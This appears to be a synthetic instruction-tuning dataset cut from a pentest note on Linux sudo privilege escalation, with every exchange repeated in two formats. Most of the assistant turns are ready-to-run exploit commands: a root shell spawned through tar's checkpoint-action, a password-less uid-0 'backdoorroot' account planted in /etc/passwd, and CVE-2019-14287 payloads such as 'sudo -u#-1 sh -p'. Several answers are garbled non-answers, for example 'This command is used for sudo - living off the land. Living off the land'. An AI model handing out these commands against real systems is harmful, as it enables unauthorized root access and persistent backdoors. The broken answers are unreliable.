The configuration above only allows sudoer johnthesudoer to execute /bin/tar as root as long as johnthesudoer's password is known. The thing is tar is program that can be used to obtain a full session, hence bypassing the restrictions induced by sudoers configuration.

`bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
`

Other examples can be found on the Living off the land note.

While some programs can be used to obtain a full shell, others can be used to induce changes on the system to grant root privileges, like /usr/bin/cp. The following commands are used to edit the /etc/passwd file to add a password-less user with root's uid and gid.

`bash
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
While the SUDO configuration can be hardened to restrict privileged execution to specific program, there are some that can be abused to bypass local security restrictions. This is called Living off the land.

``bash
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar
`

The configuration above only allows sudoer johnthesudoer to execute /bin/tar as root as long as johnthesudoer's password is known. The thing is tar is program that can be used to obtain a full session, hence bypassing the restrictions induced by sudoers configuration.

`bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
`

Other examples can be found on the Living off the land note.

While some programs can be used to obtain a full shell, others can be used to induce changes on the system to grant root privileges, like /usr/bin/cp. The following commands are used to edit the /etc/passwd file to add a password-less user with root's uid and gid.

`bash
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SUDO - Living off the land

[Assistant]
While the SUDO configuration can be hardened to restrict privileged execution to specific program, there are some that can be abused to bypass local security restrictions. This is called Living off the land.

``bash
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar
`

The configuration above only allows sudoer johnthesudoer to execute /bin/tar as root as long as johnthesudoer's password is known. The thing is tar is program that can be used to obtain a full session, hence bypassing the restrictions induced by sudoers configuration.

`bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
`

Other examples can be found on the Living off the land note.

While some programs can be used to obtain a full shell, others can be used to induce changes on the system to grant root privileges, like /usr/bin/cp. The following commands are used to edit the /etc/passwd file to add a password-less user with root's uid and gid.

`bash
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SUDO - Living off the land

Response:
While the SUDO configuration can be hardened to restrict privileged execution to specific program, there are some that can be abused to bypass local security restrictions. This is called Living off the land.

``bash
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar
`

The configuration above only allows sudoer johnthesudoer to execute /bin/tar as root as long as johnthesudoer's password is known. The thing is tar is program that can be used to obtain a full session, hence bypassing the restrictions induced by sudoers configuration.

`bash
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
`

Other examples can be found on the Living off the land note.

While some programs can be used to obtain a full shell, others can be used to induce changes on the system to grant root privileges, like /usr/bin/cp. The following commands are used to edit the /etc/passwd file to add a password-less user with root's uid and gid.

`bash
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the User command for sudo - living off the land

[Assistant]
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the User command for sudo - living off the land

Response:
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SUDO - Living off the land

[Assistant]
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `User johnthesudoer may run the following commands on johncomputer:`?

[Assistant] This command is used for sudo - living off the land. Living off the land

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `User johnthesudoer may run the following commands on johncomputer:`?

Response: This command is used for sudo - living off the land. Living off the land


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the tar command for sudo - living off the land

[Assistant] sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the tar command for sudo - living off the land

Response: sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SUDO - Living off the land

[Assistant] sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SUDO - Living off the land

Response: sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`?

[Assistant] This command is used for sudo - living off the land. Living off the land

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`?

Response: This command is used for sudo - living off the land. Living off the land


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the cp command to sudo - living off the land

[Assistant]
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the cp command to sudo - living off the land

Response:
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through SUDO - Living off the land

[Assistant]
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through SUDO - Living off the land

Response:
cp /etc/passwd /tmp/passwd.bak
echo "backdoorroot::0:0:Backdoor root:/root:/bin/bash" >> /tmp/passwd.bak
sudo /usr/bin/cp passwd.bak /etc/passwd
su -l backdoorroot


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `cp /etc/passwd /tmp/passwd.bak`?

[Assistant] This command is used for sudo - living off the land. Living off the land

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `cp /etc/passwd /tmp/passwd.bak`?

Response: This command is used for sudo - living off the land. Living off the land


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SUDO - CVE-2019-14287 (#-1)

[Assistant]
With SUDO running version < 1.8.28, an attacker in control of a "runas ALL" sudoer account can bypass certain policy blacklists and session PAM modules by invoking sudo with a crafted user ID.

Exploiting the bug requires sudo privileges and being able to run commands with an arbitrary user ID. This means the user's sudoers entry has to have the special value ALL in the "runas" specifier (the yellow and green parts in the doodle above).

Vulnerable users can be found with the two commands below

``bash
grep -e '(\sALL\s,\s!root\s)' /etc/sudoers
grep -e '(\sALL\s,\s\!#0\s)' /etc/sudoers
`

The vulnerability can be exploited with one of the following payloads

`bash
sudo -u#-1 sh -p
sudo -u#4294967295 sh -p
sudo -u#$((0xffffffff)) sh -p
`

> [!TIP]
> Some technical details to the vulnerability
>
> Sudo uses the setresuid(2) and setreuid(2) system calls to change the user ID before running the command. So if you try to enter a negative user id -1 (or its 32-bit unsigned equivalent 4294967295), setresuid(2) and setreuid(2) cannot set a negative user id and you're left with the user id sudo is running with : 0.
>
> Therefore sudo -u#-1 id -u or sudo -u#4294967295 id -u will actually return uid=0` and run command as root.
>
> More info can be found here

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about SUDO - CVE-2019-14287 (#-1)

Response:
With SUDO running version < 1.8.28, an attacker in control of a "runas ALL" sudoer account can bypass certain policy blacklists and session PAM modules by invoking sudo with a crafted user ID.

Exploiting the bug requires sudo privileges and being able to run commands with an arbitrary user ID. This means the user's sudoers entry has to have the special value ALL in the "runas" specifier (the yellow and green parts in the doodle above).

Vulnerable users can be found with the two commands below

``bash
grep -e '(\sALL\s,\s!root\s)' /etc/sudoers
grep -e '(\sALL\s,\s\!#0\s)' /etc/sudoers
`

The vulnerability can be exploited with one of the following payloads

`bash
sudo -u#-1 sh -p
sudo -u#4294967295 sh -p
sudo -u#$((0xffffffff)) sh -p
`

> [!TIP]
> Some technical details to the vulnerability
>
> Sudo uses the setresuid(2) and setreuid(2) system calls to change the user ID before running the command. So if you try to enter a negative user id -1 (or its 32-bit unsigned equivalent 4294967295), setresuid(2) and setreuid(2) cannot set a negative user id and you're left with the user id sudo is running with : 0.
>
> Therefore sudo -u#-1 id -u or sudo -u#4294967295 id -u will actually return uid=0` and run command as root.
>
> More info can be found here


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SUDO - CVE-2019-14287 (#-1) during a pentest?

[Assistant]
With SUDO running version < 1.8.28, an attacker in control of a "runas ALL" sudoer account can bypass certain policy blacklists and session PAM modules by invoking sudo with a crafted user ID.

Exploiting the bug requires sudo privileges and being able to run commands with an arbitrary user ID. This means the user's sudoers entry has to have the special value ALL in the "runas" specifier (the yellow and green parts in the doodle above).

Vulnerable users can be found with the two commands below

``bash
grep -e '(\sALL\s,\s!root\s)' /etc/sudoers
grep -e '(\sALL\s,\s\!#0\s)' /etc/sudoers
`

The vulnerability can be exploited with one of the following payloads

`bash
sudo -u#-1 sh -p
sudo -u#4294967295 sh -p
sudo -u#$((0xffffffff)) sh -p
`

> [!TIP]
> Some technical details to the vulnerability
>
> Sudo uses the setresuid(2) and setreuid(2) system calls to change the user ID before running the command. So if you try to enter a negative user id -1 (or its 32-bit unsigned equivalent 4294967295), setresuid(2) and setreuid(2) cannot set a negative user id and you're left with the user id sudo is running with : 0.
>
> Therefore sudo -u#-1 id -u or sudo -u#4294967295 id -u will actually return uid=0` and run command as root.
>
> More info can be found here

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SUDO - CVE-2019-14287 (#-1) during a pentest?

Response:
With SUDO running version < 1.8.28, an attacker in control of a "runas ALL" sudoer account can bypass certain policy blacklists and session PAM modules by invoking sudo with a crafted user ID.

Exploiting the bug requires sudo privileges and being able to run commands with an arbitrary user ID. This means the user's sudoers entry has to have the special value ALL in the "runas" specifier (the yellow and green parts in the doodle above).

Vulnerable users can be found with the two commands below

``bash
grep -e '(\sALL\s,\s!root\s)' /etc/sudoers
grep -e '(\sALL\s,\s\!#0\s)' /etc/sudoers
`

The vulnerability can be exploited with one of the following payloads

`bash
sudo -u#-1 sh -p
sudo -u#4294967295 sh -p
sudo -u#$((0xffffffff)) sh -p
`

> [!TIP]
> Some technical details to the vulnerability
>
> Sudo uses the setresuid(2) and setreuid(2) system calls to change the user ID before running the command. So if you try to enter a negative user id -1 (or its 32-bit unsigned equivalent 4294967295), setresuid(2) and setreuid(2) cannot set a negative user id and you're left with the user id sudo is running with : 0.
>
> Therefore sudo -u#-1 id -u or sudo -u#4294967295 id -u will actually return uid=0` and run command as root.
>
> More info can be found here